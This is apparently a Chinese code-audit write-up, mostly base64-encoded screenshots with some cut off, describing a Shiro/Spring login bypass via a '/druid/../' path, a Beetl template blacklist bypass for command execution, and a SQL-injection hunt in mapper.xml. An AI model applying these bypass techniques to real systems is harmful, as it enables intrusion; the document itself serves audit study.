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ePKW8tLzDQk1hjrBtsvHkaZM7RfaiUlHXFK8pq6b0i8PF2/KR/An5TQVa8Ee+XWIj+UXysNC3sKrww9TEqQemaUwTTmufbjd90fRnRcFFv83AZ3BntM40nTlv5sNZzFmbZyOz02e3zjGfUzKne27I3B3zKPNy5v1e7FRcUfx2ftL85hKjkrklj38J+aWuVLVUXHpzgfeCjQvxhYKFHYtGL1q76FsZr+xCuVN5ZfmXxdzFF351/nXNr4NLMpZ0LHVfumEZcZlw2Y3lfst3VGhUFFU8XjF2RcNK+sqylW9XTVp1vtK1cuNqymrJ6q41EWua1lqsXbb2y7qsdderAqr2VBtWL6p+v563/soG/w31G402lm/8tEmw6dbmkM0NNVY1lVuIWwq3PN2auPXsb4zfarcZbCvf9nW7cHvXjtgdbbUetbU7DXcurUPrJHW9u1J3Xd4duLup3qF+8x6dPeV7wV7J3uf70vbd2B++v/UA40D9QcuD1Ydoh8oakIbpDf2NWY1dTclNnYfDDrc2ezcfOuJ4ZPtR06NVx7SPLT1OOV5yfLClqGXghOhE38nMk49bJ7XePTXu1LW2mLaO0+Gnz50JPnPqLPNsyzmfc0fPe50/fIFxofGi+8WGdrf2Q7+7/X6ow72j4ZLHpabLnpebO8d0Hr/id+Xk1cCrZ66xr128Hnm980bCjVs3U2923eLd6rmde/vVncI7n+/OvUe4V3Zf/X7lA8MHNX/Y/rGny73r2MPAh+2P4h7dfcx9/OJJ/pMv3SVPqU8rn5k8q+1x6TnaG9x7+fn4590vRC8+95X+qfFn9Uublwf/8v+rvX9cf/cr8avB14vf6L/Z/tb1betA9MCDd3nvPr8v+6D/YcdHxsezn5I+Pfs89Qvpy5qvtl+bv4V/uzeYNzgo4og5sl8BDFY0IwOA19sBoCYDQIPnM8p4+flPVhD5mVWGwH/C8jOirLgDUA//32P64N/NTQD2boXHL6ivlgpANBWAeE+Ajh49XIfOarJzpbQQ4TlgU+TX9Lx08G+K/Mz5Q9w/t0Cq6gp+bv8FudB8kK9mJ3wAAQAASURBVHic7N13eBvnmS78G40EC0gAJEiCvffeRfUuWbIsy3IvcpzqJJtsO7t7zu6ec/ZLdrPZk2TTi2PHjnuXLat3Wb2LpCg2sffeOwF8f4AcAgRAgiRIyc79uy5fhmYwMy8GgwH4Pu/7PKK4xAwDlpCXtzcAoKO9fSkPS0REREREREREREREdhDf6wYQEREREREREREREdH9g4EDIiIiIiIiIiIiIiISMHBAREREREREREREREQCBg6IiIiIiIiIiIiIiEjAwAEREREREREREREREQkYOCAiIiIiIiIiIiIiIgEDB0REREREREREREREJGDggIiIiIiIiIiIiIiIBAwcEBERERERERERERGRgIEDIiIiIiIiIiIiIiISMHBAREREREREREREREQCBg6IiIiIiIiIiIiIiEjAwAEREREREREREREREQkYOCAiIiIiIiIiIiIiIgEDB0REREREREREREREJGDggIiIiIiIiIiIiIiIBAwcEBERERERERERERGRgIEDIiIiIiIiIiIiIiISMHBAREREREREREREREQCBg6IiIiIiIiIiIiIiEjAwAEREREREREREREREQkYOCAiIiIiIiIiIiILine truncated
<p>后面看了一下shiro的鉴权配置,发现该接口并不是前台的。</p>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095854-ea48ac7e-df4a-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABoYAAAR6CAYAAABm08WjAAAMQWlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnluSkEBooUsJvQkCUgJICaEFkF4EUQlJgFBiDAQVO7Ko4FpQsYANXRVR7IBYUMTOotj7YkFBWRcLduVNCui6r3xvvm/u/PefM/85c+7MvXcAUDvBEYlyUXUA8oQF4tiQAPq45BQ6qQegQAPoAnvgzOHmi5jR0REAlqH27+XdDYBI26sOUq1/9v/XosHj53MBQKIhTuflc/MgPggAXs0ViQsAIEp586kFIimGFWiJYYAQL5TiTDmuluJ0Od4rs4mPZUHcBoCSCocjzgRA9TLk6YXcTKih2g+xk5AnEAKgRofYNy9vMg/iNIhtoI0IYqk+I/0Hncy/aaYPa3I4mcNYPhdZUQoU5ItyOdP/z3T875KXKxnyYQWrSpY4NFY6Z5i3WzmTw6VYBeI+YXpkFMSaEH8Q8GT2EKOULElogtweNeTms2DOgA7ETjxOYDjEhhAHC3MjIxR8eoYgmA0xXCHoNEEBOx5iPYgX8vOD4hQ2m8STYxW+0IYMMYup4M9xxDK/Ul8PJDkJTIX+6yw+W6GPqRZlxSdBTIHYolCQGAmxKsSO+Tlx4QqbMUVZrMghG7EkVhq/BcSxfGFIgFwfK8wQB8cq7Mvy8ofmi23KErAjFXh/QVZ8qDw/WBuXI4sfzgW7zBcyE4Z0+PnjIobmwuMHBsnnjvXwhQlxCp0PooKAWPlYnCLKjVbY42b83BApbwaxa35hnGIsnlgAF6RcH88QFUTHy+PEi7I5YdHyePBlIAKwQCCgAwms6WAyyAaCjr7GPngn7wkGHCAGmYAPHBTM0IgkWY8QXuNAEfgTIj7IHx4XIOvlg0LIfx1m5VcHkCHrLZSNyAFPIc4D4SAX3ktko4TD3hLBE8gI/uGdAysXxpsLq7T/3/ND7HeGCZkIBSMZ8khXG7IkBhEDiaHEYKItboD74t54BLz6w+qCM3DPoXl8tyc8JXQSHhGuE7oItycJisU/RTkWdEH9YEUu0n/MBW4FNd3wANwHqkNlXAc3AA64K/TDxP2gZzfIshRxS7NC/0n7bzP44Wko7MhOZJSsS/Yn2/w8UtVO1W1YRZrrH/MjjzV9ON+s4Z6f/bN+yD4PtuE/W2ILsQPYWewkdh47ijUCOtaCNWHt2DEpHl5dT2Sra8hbrCyeHKgj+Ie/oScrzWS+U51Tr9MXeV8Bf5r0HQ1Yk0XTxYLMrAI6E34R+HS2kOs4ku7i5OIKgPT7In99vYmRfTcQnfbv3Pw/APBpGRwcPPKdC2sBYJ8H3P6Hv3M2DPjpUAbg3GGuRFwo53DphQDfEmpwp+kDY2AObOB8XIA78Ab+IAiEgSgQD5LBRBh9FlznYjAVzATzQCkoB8vAKrAObARbwA6wG+wHjeAoOAnOgIvgMrgO7sLV0w1egH7wDnxGEISEUBEaoo+YIJaIPeKCMBBfJAiJQGKRZCQNyUSEiASZicxHypEKZB2yGalF9iGHkZPIeaQTuY08RHqR18gnFENVUC3UCLVCR6EMlImGo/HoBDQTnYIWoSXoEnQNWoPuQhvQk+hF9Drahb5ABzCAKWM6mCnmgDEwFhaFpWAZmBibjZVhlVgNVo81w+d8FevC+rCPOBGn4XTcAa7gUDwB5+JT8Nn4YnwdvgNvwNvwq/hDvB//RqASDAn2BC8CmzCOkEmYSiglVBK2EQ4RTsO91E14RyQSdYjWRA+4F5OJ2cQZxMXE9cQ9xBPETuJj4gCJRNIn2ZN8SFEkDqmAVEpaS9pFaiFdIXWTPigpK5kouSgFK6UoCZWKlSqVdiodV7qi9EzpM1mdbEn2IkeReeTp5KXkreRm8iVyN/kzRYNiTfGhxFOyKfMoayj1lNOUe5Q3ysrKZsqeyjHKAuW5ymuU9yqfU36o/FFFU8VOhaWSqiJRWaKyXeWEym2VN1Qq1YrqT02hFlCXUGupp6gPqB9UaaqOqmxVnuoc1SrVBtUrqi/VyGqWaky1iWpFapVqB9QuqfWpk9Wt1FnqHPXZ6lXqh9Vvqg9o0DScNaI08jQWa+zUOK/Ro0nStNIM0uRplmhu0Tyl+ZiG0cxpLBqXNp+2lXaa1q1F1LLWYmtla5Vr7dbq0OrX1tR21U7UnqZdpX1Mu0sH07HSYevk6izV2a9zQ+eTrpEuU5evu0i3XveK7nu9EXr+eny9Mr09etf1PunT9YP0c/SX6zfq3zfADewMYgymGmwwOG3QN0JrhPcI7oiyEftH3DFEDe0MYw1nGG4xbDccMDI2CjESGa01OmXUZ6xj7G+cbbzS+LhxrwnNxNdEYLLSpMXkOV2bzqTn0tfQ2+j9poamoaYS082mHaafzazNEsyKzfaY3TenmDPMM8xXmrea91uYWIy1mGlRZ3HHkmzJsMyyXG151vK9lbVVktUCq0arHms9a7Z1kXWd9T0bqo2fzRSbGptrtkRbhm2O7Xrby3aonZtdll2V3SV71N7dXmC/3r5zJGGk50jhyJqRNx1UHJgOhQ51Dg8ddRwjHIsdGx1fjrIYlTJq+aizo745uTnlOm11uuus6RzmXOzc7Pzaxc6F61Llcm00dXTw6Dmjm0a/crV35btucL3lRnMb67bArdXtq7uHu9i93r3Xw8IjzaPa4yZDixHNWMw450nwDPCc43nU86OXu1eB136vv7wdvHO8d3r3jLEewx+zdcxjHzMfjs9mny5fum+a7ybfLj9TP45fjd8jf3N/nv82/2dMW2Y2cxfzZYBTgDjgUMB7lhdrFutEIBYYElgW2BGkGZQQtC7oQbBZcGZwXXB/iFvIjJAToYTQ8NDloTfZRmwuu5bdH+YRNiusLVwlPC58XfijCLsIcUTzWHRs2NgVY+9FWkYKIxujQBQ7akXU/Wjr6CnRR2KIMdExVTFPY51jZ8aejaPFTYrbGfcuPiB+afzdBJsESUJrolpiamJt4vukwKSKpK5xo8bNGncx2SBZkNyUQkpJTNmWMjA+aPyq8d2pbqmlqTcmWE+YNuH8RIOJuROPTVKbxJl0II2QlpS2M+0LJ4pTwxlIZ6dXp/dzWdzV3Bc8f95KXi/fh1/Bf5bhk1GR0ZPpk7kiszfLL6syq0/AEqwTvMoOzd6Y/T4nKmd7zmBuUu6ePKW8tLzDQk1hjrBtsvHkaZM7RfaiUlHXFK8pq6b0i8PF2/KR/An5TQVa8Ee+XWIj+UXysNC3sKrww9TEqQemaUwTTmufbjd90fRnRcFFv83AZ3BntM40nTlv5sNZzFmbZyOz02e3zjGfUzKne27I3B3zKPNy5v1e7FRcUfx2ftL85hKjkrklj38J+aWuVLVUXHpzgfeCjQvxhYKFHYtGL1q76FsZr+xCuVN5ZfmXxdzFF351/nXNr4NLMpZ0LHVfumEZcZlw2Y3lfst3VGhUFFU8XjF2RcNK+sqylW9XTVp1vtK1cuNqymrJ6q41EWua1lqsXbb2y7qsdderAqr2VBtWL6p+v563/soG/w31G402lm/8tEmw6dbmkM0NNVY1lVuIWwq3PN2auPXsb4zfarcZbCvf9nW7cHvXjtgdbbUetbU7DXcurUPrJHW9u1J3Xd4duLup3qF+8x6dPeV7wV7J3uf70vbd2B++v/UA40D9QcuD1Ydoh8oakIbpDf2NWY1dTclNnYfDDrc2ezcfOuJ4ZPtR06NVx7SPLT1OOV5yfLClqGXghOhE38nMk49bJ7XePTXu1LW2mLaO0+Gnz50JPnPqLPNsyzmfc0fPe50/fIFxofGi+8WGdrf2Q7+7/X6ow72j4ZLHpabLnpebO8d0Hr/id+Xk1cCrZ66xr128Hnm980bCjVs3U2923eLd6rmde/vVncI7n+/OvUe4V3Zf/X7lA8MHNX/Y/rGny73r2MPAh+2P4h7dfcx9/OJJ/pMv3SVPqU8rn5k8q+1x6TnaG9x7+fn4590vRC8+95X+qfFn9Uublwf/8v+rvX9cf/cr8avB14vf6L/Z/tb1betA9MCDd3nvPr8v+6D/YcdHxsezn5I+Pfs89Qvpy5qvtl+bv4V/uzeYNzgo4og5sl8BDFY0IwOA19sBoCYDQIPnM8p4+flPVhD5mVWGwH/C8jOirLgDUA//32P64N/NTQD2boXHL6ivlgpANBWAeE+Ajh49XIfOarJzpbQQ4TlgU+TX9Lx08G+K/Mz5Q9w/t0Cq6gp+bv8FudB8kK9mJ3wAAQAASURBVHic7L11eGPZmef/FdgW2RbZsszMjOWyi5m5Mc2d7iQT2JlsZn87mdnNTCaT6c0kmZmkA52mNKXTTMWMLhcayszMzCDp94esK8m6km1Jhup6P89TT8m6dO7Vueeclzkx8Wk6LCM5q1fh4SP7AQBXruXjgw8/Xc7mEARBEARBEARBEARBEARBEARBfG3hLncD1GoV87m3t28ZW0IQBEEQBEEQBEEQBEEQBEEQBPH1ZtkNQ2Ghwczntrb25WsIQRAEQRAEQRAEQRAEQRAEQRDE15xlNQzt3b0Dfr5qAEBzSxtKSsuXszkEQRAEQRAEQRAEQRAEQRAEQRBfa5bNMBQZEYb163KYv8+dv7hcTSEIgiAIgiAIgiAIgiAIgiAIgngg4C/1BUUiETZvWo/sVeng8/WXr6mtx63bBUvdFIIgCIIgCIIgCIIgCIIgCIIgiAeKJTUMpaUm4dCBvZBIxMx3lVU1eP3Nd5eyGQRBEARBEARBEARBEARBEARBEA8kS2oY8vP1ZYxCOp0Ot+8W4d33PoBGo1nKZhAEQRAEQRAEQRAEQRAEQRAEQTyQLKlhSKPVYmhoGMUlZbh+/QbqG5qW8vIEQRAEQRALine truncated
<p>后面看了一下项目用的spring是低版本的存在一个登录绕过漏洞,可以通过<code>/druid/../xxxx</code>形式直接访问我们找到的后台路由。构造回显效果如下</p>
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095921-fa82c566-df4a-1.png title><img src="data:image/png;base64,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 truncated
<p>由于beetl高版本有黑名单过滤常见命令执行的payload,这里可以利用反射加载js去构造。</p>
<p><strong>声明:该漏洞已通报给相关单位修复,本文章仅供代码审计学习</strong></p>
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<h1 id=toc-0>SQL注入</h1>
<p>首先去mapper.xml中去查找是否有<code>${</code>进行拼接的情况<br>
<a id=img0 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707814441908-0737b8b5-f611-48ec-a484-35290f7e419d.png#averageHue=%23253034&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=198&amp;id=lG49E&amp;originHeight=297&amp;originWidth=846&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=39520&amp;status=done&amp;style=none&amp;taskId=u55f7536d-c600-4cf8-a305-23a8eaed69e&amp;title=&amp;width=564" title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA04AAAEpCAYAAACkznJKAAAgAElEQVR4nOzdd3xb1d348c+VJUu2LO+9904c25nOIJvQsJpSVgsUunj6lNIWup7297S0pbQF2qelAzppS6FAaRNKAmQA2c5etuO997Zs2ZZs6f7+8JQtx5Yc2U4479fLf+j66tzvOfecc++540jKXLpSbmtpRhAEQRAEQRAEQbBNMd8BCIIgCIIgCIIgLHTK+Q5AEARBEARBWLi0EZHzHYIgLAjijpMgCIIgCIIgCMI0xMBJEARBEARBEARhGmLgJAiCIAiCIAiCMA0xcBIEQRAEQRAEQZiGGDgJgiAIgiAIgiBMQwycBEEQBEEQBEEQpiEGToIgCIIgCIIgCNMQAydBEARBEARBEIRpiB/AXcBkryw+8fDtJMqF7Hz+75zXS/MdkiAIwrySdUGkfSIVX1oo/tslmg2iXxQEQRDmhrjjtIC5Z29ic3I0kSnb2JTtNt/hCIIgzDtlehyx8d54xycQvUg13+EIgiAIHyJOveO0/nMf4+uZvbz2wz28WGf/VUGfzRt4+Y4Aq2Wy3Mubz/yH58uu7lVGWQ7gK8+uZyvlfPux05yT5v8qZm/hefLbE4ijhPOFfYB9MS3/wh/5/NJWdn/36/yrxvH8yESw7Olsgmjg3NdyqSPS6nP9DOMKue9Wshb3UvKzfRQ32B+P69q1bL3N3zo2uY+KX79NQeXVrg/+LH5iDZFUkvvdc7RdxfpwtcpTcJwsp/Hgc19nLQd59pE/UjAP7X0khnW6K29b7v5g3mJ0htnW/8Hyepo7/fCllabyAeztFxequezfFoqRfjbKw3b+5J6Kq9L/OrM/X2jE8UUQnGtBP6rXX1vPu0f0o5/94qPJDprHgOaYVL+PZx/bN/Jp/gKRzVjMADIWGWDC5zkKzdzQSFVu9+hnTWwkgQFX+MJCtUDKU5hvbRQfOwijN5O9iV+ZQQj1XMgtYbTn6yumbX4CdI5Z1n+pqZKTP6wc+eS8OOfYddO/2aWPtrOV4AqgwSc7GB09NJ1pxQhgaqNvfgO89ojjiyA4lV0DJ0nrxZYbUwgsPM5LBc5vfX2FRfxf4djnFQ+Ef6gGTguHZbjjNSPb/Dw3zKUlXCod+xxwV/g1emKxMMpTmF+S1Mixf/yJY8OfZTmNBzMzCKGE/X+acIfpurpCLuq/LddP/zZzkmSg/s3z1DP01EfGomB0tFHx+ri7QtdV3Z8LM29fcmoq30nu4dV3qyk1zG2UgnCtmtHAaWjAlMbH14YRphngQKn1/2UXLRs+msXdy/wJdbfQ2dDMOzvP